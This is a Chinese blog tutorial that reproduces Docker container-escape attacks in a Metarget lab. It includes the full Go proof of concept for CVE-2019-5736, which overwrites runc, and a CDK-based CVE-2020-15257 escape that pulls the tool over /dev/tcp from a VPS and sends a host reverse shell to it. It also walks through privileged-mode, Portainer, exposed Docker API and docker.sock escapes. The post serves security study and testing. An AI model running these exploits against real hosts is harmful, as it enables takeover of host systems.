Docker常见的安全问题复现

于 2023-12-26 21:52:11 发布
阅读量1.2k 收藏 23
点赞数 31
文章标签： docker 安全 容器
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_45910629/article/details/135232242
版权

Docker是一个开源的应用容器引擎，它可以让用户将应用打包，并依赖包到可移植的容器中。然而，Docker也存在着安全问题。
Docker攻击模型：
image.png

  • case1：应用攻击容器
  • case2：容器攻击其它容器
  • case3：容器攻击宿主机
  • case4：主机攻击容器

漏洞环境

由于各种各样的原因（相关文档缺乏、背景知识不足、网络环境差等），我们经常会发现“环境搭建”这个步骤本身就会占用大量的时间。与之相比，真正测试PoC、ExP的时间可能非常短，所以漏洞环境选择绿盟安全研究人员开发的靶场Metarget项目。

https://github.com/Metarget/metarget

#要求
Ubuntu 16.04或18.04（推荐）
python >= 3.6 (不支持python 2.x)

#安装
git clone https://github.com/brant-ruan/metarget.git
cd metarget/
pip3 install -r requirements.txt

#安装指定版本的docker版本
./metarget gadget install docker --version 18.03.1

#安装指定版本的Kubernetes
./metarget gadget install k8s --version 1.16.5

识别Docker容器的常见方法

当安全人员拿到一个主机的权限后，需要判断该主机权限所在的环境是不是docker环境。

  • ls -alh /.dockerenv

/.dockerenv是所有容器中都会存在的一个文件，这个文件曾经是LCX用于环境变量加载到容器中，现在容器不再使用LCX，所以内容为空。

image.png

  • cat /proc/1/cgroup | grep “docker”

Linux CGroup(Linux Contral Group)，它其实是Linux内核的一个功能，它是Linux下的一种将进程按组进行管理的机制。为了限制Docker资源，Docker为每个容器创建了一个控制组以及一个名为Docker的父控制组，如果某个进程在Docker容器中启动，则该进程将必须在该容器控制中，所以通过查看初始进程的cgroup来验证是否为容器，Docker环境中的cgroup文件普遍存在docker字段，真实Linux环境中不存在docker字段。

image.png

  • ps aux

在容器中查看进程，会发现进程相当少，和真实环境相差较大

容器中：
image.png
真实环境：
image.png

Docker逃逸

关于Docker主要从容器自身漏洞、容器配置不当等方面进行介绍

容器漏洞

CVE-2020-15257

Containerd是一个控制runC的守护进程，提供命令行客户端和API，用于在一个机器上管理容器。在版本1.3.9之前和1.4.0~1.4.2的Container中，使用 --host 网络模式，会造成containerd-shim API暴露，通过调用API功能实现逃逸。此模式直接使用宿主机网卡和IP地址，导致容器和宿主机共享一套Network namespace。

  • 漏洞环境安装
#安装漏洞环境
./metarget cnv install cve-2020-15257
#启动漏洞环境
docker run -it --net=host --name=15257 ubuntu /bin/bash
  • 判断是否使用host模式
#在容器内使用该命令可看到抽象命名空间Unix域套接字
cat /proc/net/unix | grep 'containerd-shim'

image.png

  • 利用cdk工具进行自动化逃逸，反弹宿主机的shell到远端服务器，如果容器没有curl、wget命令，可以通过下面这个方式下发CDK
#公网VPS开启NC
nc -lvp 999 < cdk

#容器运行写入
cat < /dev/tcp/(VPS_IP)/(port) > cdk 
chmod a+x cdk

#反弹宿主机的shell到远端服务器
./cdk run shim-pwn reverse vps_ip 8888

成功反弹宿主机权限到远端服务器：
image.png

CVE-2019-5736

在Docker 18.09.2之前的版本中使用了的runc版本小于1.0-rc6，因此允许攻击者重写宿主机上的runc 二进制文件，因此可以感觉以root的身份执行命令，导致获得宿主机的root权限。runC漏洞的前提是需要docker exec、attach时才会触发漏洞，攻击者可以修改runC的二进制文件导致提权，需要管理员执行exec才能触发，利用条件有限。

  • 漏洞环境安装
#安装漏洞环境
./metarget cnv install cve-2019-5736

#启动环境
docker run -it ubuntu:18.04
  • 编译poc

https://github.com/Frichetten/CVE-2019-5736-PoC

package main

// Implementation of CVE-2019-5736
// Created with help from @singe, @_cablethief, and @feexd.
// This commit also helped a ton to understand the vuln
// https://github.com/lxc/lxc/commit/6400238d08cdf1ca20d49bafb85f4e224348bf9d
import (
	"fmt"
	"io/ioutil"
	"os"
	"strconv"
	"strings"
	"flag"
)


var shellCmd string

func init() {
	flag.StringVar(&shellCmd, "shell", "", "Execute arbitrary commands")
	flag.Parse()
}

func main() {
	// This is the line of shell commands that will execute on the host
	var payload = "#!/bin/bash \n" + shellCmd
	// First we overwrite /bin/sh with the /proc/self/exe interpreter path
	fd, err := os.Create("/bin/sh")
	if err != nil {
		fmt.Println(err)
		return
	}
	fmt.Fprintln(fd, "#!/proc/self/exe")
	err = fd.Close()
	if err != nil {
		fmt.Println(err)
		return
	}
	fmt.Println("[+] Overwritten /bin/sh successfully")

	// Loop through all processes to find one whose cmdline includes runcinit
	// This will be the process created by runc
	var found int
	for found == 0 {
		pids, err := ioutil.ReadDir("/proc")
		if err != nil {
			fmt.Println(err)
			return
		}
		for _, f := range pids {
			fbytes, _ := ioutil.ReadFile("/proc/" + f.Name() + "/cmdline")
			fstring := string(fbytes)
			if strings.Contains(fstring, "runc") {
				fmt.Println("[+] Found the PID:", f.Name())
				found, err = strconv.Atoi(f.Name())
				if err != nil {
					fmt.Println(err)
					return
				}
			}
		}
	}

	// We will use the pid to get a file handle for runc on the host.
	var handleFd = -1
	for handleFd == -1 {
		// Note, you do not need to use the O_PATH flag for the exploit to work.
		handle, _ := os.OpenFile("/proc/"+strconv.Itoa(found)+"/exe", os.O_RDONLY, 0777)
		if int(handle.Fd()) > 0 {
			handleFd = int(handle.Fd())
		}
	}
	fmt.Println("[+] Successfully got the file handle")

	// Now that we have the file handle, lets write to the runc binary and overwrite it
	// It will maintain it's executable flag
	for {
		writeHandle, _ := os.OpenFile("/proc/self/fd/"+strconv.Itoa(handleFd), os.O_WRONLY|os.O_TRUNC, 0700)
		if int(writeHandle.Fd()) > 0 {
			fmt.Println("[+] Successfully got write handle", writeHandle)
			fmt.Println("[+] The command executed is" + payload)
			writeHandle.Write([]byte(payload))
			return
		}
	}
}
  • 使用go对poc进行编译
  • 将编译好的poc，复制进容器/home目录下
#将poc复制到容器中
docker cp main name:/home
#进入容器，赋予poc文件执行权限
chmod 777 main
#执行
./main

image.png

  • 现在假设以管理员身份使用docker exec进入容器
docker ps
docker exec -it 483db4e388b4 /bin/bash

image.png

  • 此时，在容器中可以看到容器中的main脚本已经被执行。

image.png

  • 可以将poc中的payload修改为反弹shell的payload，如果成功执行，将获得宿主机的权限。
Portainer后台（逃逸）

Portainer是一个可视化的容器镜像的图形管理工具，利用Portainer可以轻松构建、管理和维护Docker环境，而且完全免费，基于容器化的安装方式，方便高效部署。
安装成功后，后台没有默认账号密码，当第一次登录系统时会提示设置新密码。

  • 在具有docker的机器上下载portainer
#搜索portainer镜像
docker search portainer

#拉取portainer镜像
docker pull portainer/portainer

#启动portainer镜像
docker run -d -p 9000:9000 --restart=always \
-v /var/run/docker.sock:/var/run/docker.sock \
--name portainer portainer/portainer
  • 访问9000端口

image.png
image.png

  • 进入容器中，添加新容器

image.png

  • 进入到后台界面

image.png

  • 给新容器命名并添加镜像

image.png

  • 下滑找到Advanced container settings，并将console选项选为Interactive & TTY

image.png

  • 在Volumes中将根目录挂载到容器中

image.png

  • 点击Deploy the container按钮进行部署

image.png

  • 选择刚刚创建好的镜像，选择/bin/sh进入到终端。

image.png

  • 进入终端，输入ls /host 、chroot /host bash，如图所示，已成功通过chroot切换bash，逃逸到宿主机中。

image.png

配置不当

特权模式

特权模式逃逸是一种最简单有效的逃逸方法，该漏洞的原理是宿主机使用root用户或使用sudo命令启动的容器时，docker管理员可通过mount命令将外部宿主机磁盘设备挂载到容器内部，获取对整个宿主机的文件读写权限，可直接通过chroot切换根目录、写ssh公钥和crontab计划等逃逸到宿主机。

  • 当容器启动加上 --privileged选项时，容器可以访问宿主机上磁盘设备
#使用docker拉取ubuntu:18.04镜像
docker pull ubuntu:18.04

#启动特权容器
sudo docker run --rm --privileged -it ubuntu:18.04 /bin/bash
  • 判断当前容器是否是特权启动 cat /proc/self/status | grep CapEff

查看CapEff值，特权值为：0000003fffffffff
image.png

  • 可以创建一个挂载目录 mkdir /tmp/hosts
  • 查看宿主机磁盘文件 fdisk -l

image.png

  • 挂载到创建的目录
mount /dev/sda1 /tmp/hosts
  • 进入到/tmp/hosts目录，通过chroot切换bash

chroot ./ bash

  • 此时，已成功逃逸到宿主机

image.png

Docker API未授权访问

该漏洞起因是因为使用Docker Swarm时，管理的docker 节点上便会开放一个TCP端口2375/2376，绑定在0.0.0.0上，如果没有做限制访问来源的话，攻击者可以通过Doker未授权来控制服务器。
在最初版本安装Docker时会默认把2375端口对外开放，目前默认允许本地访问

  • 首先需要开启contianerd服务

containerd

  • 查看服务状态

systemctl status containerd

image.png

  • 开启远程访问

vim /lib/systemd/system/docker.service
ExecStart=/usr/bin/dockerd -H fd:// -H tcp://0.0.0.0:2375 containerd=/run/containerd/containerd.sock

  • 开启后进行重启操作

systemctl daemon-reload
systemctl restart docker

image.png

  • docker -H tcp://IP:2375 info

image.png

  • 利用容器创建一个拥有特权的容器，挂载宿主机进行逃逸
#连接
export DOCKER_HOST="tcp://123.123.123.123:2375"

#创建一个容器并具有特殊权限和挂载宿主机目录
docker -H tcp://192.168.30.50:2375 run -it --privileged alpine

#这时可通过特权模式进行逃逸
mkdir /tmp/zkaw/
fdisk -l
mount /dev/dm-0 /tmp/zkaw
cd /tmp/zkaw

#通过chroot切换bash
chroot ./ bash

image.png

Docker Socket

Docker架构相当于C/S架构，docker即为client，Server端的角色由docker daemon扮演，二者之间的通信方式有以下三种：

  • unix:///var/run/docker.sock(默认）
  • tcp://host:port
  • fd://socketfd

该方式主要为在容器中寻找docker.sock文件，利用此文件与宿主机建立交互。

#查找docker.sock
find / -name docker.sock 2>/dev/null

#连接
docker -H unix:///run/docker.sock info

#注意事项
通常进入容器中是没有docker客户端的，如果出网可在线安装：apt-get install docker.io

参考连接：
https://www.secrss.com/articles/18752
https://zhuanlan.zhihu.com/p/474373366
https://juejin.cn/post/7156844201522429988
https://blog.csdn.net/SHELLCODE_8BIT/article/details/124037215
https://github.com/cdk-team/CDK

Tmac自留
关注
  • 31
    点赞
  • 踩
  • 23
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
「快学Docker」Docker容器安全性探析
wml_JavaKill的博客
08-25 3万+
Docker容器的安全性是容器化部署中至关重要的一环。通过遵循最佳实践，定期更新镜像，实施隔离和监控，以及限制权限和加强网络安全性，可以有效降低容器部署所带来的安全风险。然而，安全性是一个持续的过程，需要不断关注和改进，以保障整个系统的稳定性和可靠性。
Docker安全
怎么也想不出名字的博客
02-12 1225
容器的安全性问题的根源在于容器和宿主机共享内核。如果容器里的应用导致Linux内核崩溃，那么整个系统可能都会崩溃。与虚拟机是不同的，虚拟机并没有与主机共享内核，虚拟机崩溃一般不会导致宿主机崩溃。
Docker存在的安全问题，如何解决？
weixin_42449832的博客
03-17 1276
文章目录一、Docker 容器与虚拟机的详细区别二、Docker 存在的安全问题2.1 Docker 自身漏洞2.2 Docker 源码问题三、Docker 架构缺陷与安全机制四、Docker 安全基线标准4.1 内核级别4.2 主机级别4.3 网络级别4.4 镜像级别4.5 容器级别4.6 其他设置五、Docker 远程调用与流量限制5.1 Docker remote api 访问控制5.2 限制流量流向六、容器最小化与镜像安全6.1 容器最小化6.2 镜像安全 一、Docker 容器与虚拟机的详细区别
Docker---docker中存在的一些安全问题
大E了的博客
11-17 1683
文章目录一：容器与虚拟机的区别二：Docker存在的安全问题三：Docker 架构缺陷与安全机制四：Docker 安全基线标准4.1：内核级别4.2：主机级别4.3：网络级别4.4：镜像级别4.5：容器级别4.6：其他设置五：其他需要主义的事项5.1：容器最小化5.2：Docker remote api 访问控制 一：容器与虚拟机的区别 不同点 container VM 启动速度 秒级 分钟级 运行性能 接近原生（直接在内核中运行） 5%左右损失 磁盘占用 MB GB 数量 成
docker安全
Yusheng9527的博客
03-16 795
docker安全 Docker存在的安全问题Docker自身漏洞Docker源码问题Docker架构缺陷与安全机制Docker安全基线标准内核级别主机级别网络级别镜像级别容器级别其他设置容器相关的常用安全配置方法容器最小化Docker远程API访问控制在docker服务配置文件指定监听内网ip重启 Docker在宿主机的firewalld上做IP访问控制在客户端上实现远程授权访问限制流量流向镜像安全 Docker存在的安全问题 Docker自身漏洞 作为一款应用Docker本身实现上会有代码缺陷。CVE官
Docker 常见问题解决
09-29
主要介绍了如何解决Docker 常见问题，帮助大家更好的理解和使用docker容器，感兴趣的朋友可以了解下
2022年最新Docker 常见面试题汇总
06-09
2022年最新Docker 常见面试题汇总 适用人群：即将要面试docker容器管理岗位的小伙伴，也适用于后期打算往docker容器化方向发展的小伙伴 内容概要：面试题较新，帮你轻松应对各大厂面试哦！
Docker安全防护CheatSheet1
08-03
介绍Docker是最流行的容器化技术。一方面与直接在主机上运行应用程序相比，正确使用Docker可以提高安全级别。另一方面，一些常见的Docker错误配置又可能
Docker 常见面试题
12-03
Docker 常见面试题
【Web安全笔记】之【11.0 其他】
AA8j的博客
12-23 4102
文章目录11.0 其他11.1 代码审计11.1.1 简介11.1.2 常用概念1. 输入2. 处理函数3. 危险函数11.1.3 自动化审计1. 危险函数匹配2. 控制流分析3. 基于图的分析4. 代码相似性比对5. 灰盒分析11.1.4 手工审计流程1. 获取代码，确定版本，尝试初步分析2. 基于审计工具进行初步分析3. 了解程序运行流程1) 文件加载方式2) 数据库连接方式3) 视图渲染4) SESSION处理机制5) Cache处理机制4. 账户体系1) Auth方式2) Pre-Auth的情况下可
07 | Docker 安全问题与解决办法
Cirtus的博客
10-09 850
07 | Docker 安全：基于内核的弱隔离系统如何保障安全性？ ocker 是基于 Linux 内核的 Namespace 技术实现资源隔离的，所有的容器都共享主机的内核。其实这与以虚拟机为代表的云计算时代还是有很多区别的，比如虚拟机有着更好的隔离性和安全性，而容器的隔离性和安全性则相对较弱。 在讨论容器的安全性之前，我们先了解下容器与虚拟机的区别，这样可以帮助我们更好地了解容器的安全隐患以及如何加固容器安全。 [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-xDdMEhw
docker 安全性问题
Kim891212的博客
06-08 168
最近项目组成员要在k8s中引入类似于docker --privileged 的功能。显示通过api查询在container和pod层面做了securityContext的设置。 但是没有起到效果。于是想到k8s中Pod和container是通过kubelet进行创建和管理的，那么kubelet应该有一些设置，于是就加入了 --allow-privileged的设置。 还是没有达到预期...
Docker-docker安全
weixin_66461008的博客
07-08 1483
1. 理解Docker安全1.1 Docker容器的安全性,很大程度上依赖于Linux系统自身,评估Docker的安全性时,主要考虑以下几个方面: • Linux内核的命名空间机制提供的容器隔离安全 • Linux控制组机制对容器资源的控制能力安全。 • Linux内核的能力机制所带来的操作权限安全 • Docker程序(特别是服务端)本身的抗攻击性。 • 其他安全增强机制对容器安全性的影响。1.2 命名空间隔离的安全
浅谈Docker的安全性支持（上篇）
小米云技术
09-06 1862
Docker作为最重视安全的容器技术之一，在很多方面都提供了强安全性的默认配置，其中包括：容器root用户的 Capability 能力限制、Seccomp系统调用过滤、Apparmor的 MAC 访问控制、ulimit限制、pid-limits的支持，镜像签名机制等。这篇文章我们就带大家详细了解一下。 写在前面 Docker利用Namespace实现了6项隔离，看似完整，实际上依旧没有完...
浅谈Docker隔离性和安全性
wenwenxiong的专栏
06-29 7484
相信很多开发者都默认Docker这样的容器是一种沙盒(sandbox)应用，也就是说他们可以用root权限在Docker中运行随便什么应用，而Docker有安全机制能保护宿主系统。比如，有些人觉得Docker容器里面的进程跟虚拟机里面的进程一样安全;还有的人随便找个源就下载没有验证过的Docker镜像，看都不看内容就在宿主机器上尝试、学习和研究;还有一些提供PaaS服务的公司竟然允许用户向多租户系
Docker的安全性
yeasy的专栏
09-23 1922
现在讨论Docker安全性的话题颇多，主要集中在对使用容器方式的隔离性、攻击防护性等方面。 往往与虚拟机方式进行比较。 首先，从安全性上看，Docker容器的安全性比不上虚拟机，这点是毋庸置疑的。 容器内的应用可以直接访问到主机系统内核；而虚拟机中的应用首先要访问到虚拟机的操作系统，然后在经过hypervisor层才能访问到外部的系统。 而且，虚拟机方式在生产环境中经过诸多检验，更加成熟一
【项目实战14】Docker6 容器安全性（图文详细解释）
weixin_48819467的博客
07-27 1629
yum install libcgroup-tools.x86_64 下载查看内存的软件 cd /sys/fs/cgroup/memory 进入内存界面 mkdir x1 创建新文件，其会继承父文件的内容 cd x1/ ls echo 209715200 > memory.limit_in_bytes 设置其内存为200M [root@server1 x1]# cd /dev/shm/ 进入此界面进行测试 [root@server1 shm]# cgexec -g memory:x1 d
Docker之安全
qq_41871875的博客
04-14 251
理解Docker安全 ·Docker容器的安全性，很大程度上依赖于Linux系统自身，评估Docker的安全性时，主要考虑以下几个方面： ·Linux内核的命名空间机制提供的容器隔离安全 ...
docker常见面试问题
最新发布
03-05
Docker 常见面试问题包括但不限于以下几个方面： 1. Docker 的基本概念和原理，包括 Docker 镜像、容器、仓库等。 2. Docker 的安装和配置，包括 Docker 的安装方式、配置 Docker 环境等。 3. Docker 的使用，...

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值